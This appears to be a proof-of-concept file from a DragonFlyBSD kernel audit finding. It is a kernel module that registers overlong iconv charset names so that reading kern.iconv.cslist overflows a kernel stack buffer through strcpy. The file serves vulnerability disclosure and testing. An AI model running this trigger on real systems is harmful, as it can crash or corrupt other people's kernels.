⬢ DragonFlyBSD Kernel Audit
DF-2234 / longcs.c
← back to finding ↓ download raw
/*
 * DF-2234 -- trigger rig (KLD).
 *
 * Registers an iconv charset pair whose to/from names are far longer than
 * ICONV_CSNMAXLEN (31) through the exported kernel helper iconv_add().
 * iconv_add() -> iconv_register_cspair() performs NO length validation
 * (sys/libiconv/iconv.c:179-216); the names are stored verbatim in the
 * heap cspair.
 *
 * After this module is loaded, ANY user (the cslist sysctl is CTLFLAG_RD,
 * no privilege needed) who reads kern.iconv.cslist drives
 * iconv_sysctl_cslist() (sys/libiconv/iconv.c:359-379) which does
 *
 *      strcpy(csi.cs_to,   csp->cp_to);    // csi.cs_to   is char[31]
 *      strcpy(csi.cs_from, csp->cp_from);  // csi.cs_from is char[31]
 *
 * into the on-stack `struct iconv_cspair_info csi` -> kernel stack buffer
 * overflow with the registered name bytes.
 *
 * Note: the strcpy pair runs on EVERY walk iteration, including the
 * oldptr==NULL sizing pass of any sysctl read (kern_sysctl.c
 * sysctl_old_user returns 0 and just bumps oldidx), so even
 * `sysctl kern.iconv.cslist` with no buffer triggers it.
 */
#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/module.h>
#include <sys/iconv.h>

#define LONGLEN 200

static const char long_to[LONGLEN + 1] =
	"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
	"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
	"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
static const char long_from[LONGLEN + 1] =
	"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
	"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
	"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB";

static int
longcs_handler(module_t mod, int type, void *data)
{
	int error;

	switch (type) {
	case MOD_LOAD:
		error = iconv_add("UTF-16BE", long_to, long_from);
		if (error)
			kprintf("longcs: iconv_add failed: %d\n", error);
		else
			kprintf("longcs: registered %d-byte charset names\n",
			    LONGLEN);
		return (error);
	case MOD_UNLOAD:
		return (0);
	default:
		return (EOPNOTSUPP);
	}
}

static moduledata_t longcs_mod = {
	"longcs", longcs_handler, NULL
};

DECLARE_MODULE(longcs, longcs_mod, SI_SUB_DRIVERS, SI_ORDER_ANY);
MODULE_DEPEND(longcs, libiconv, 2, 2, 2);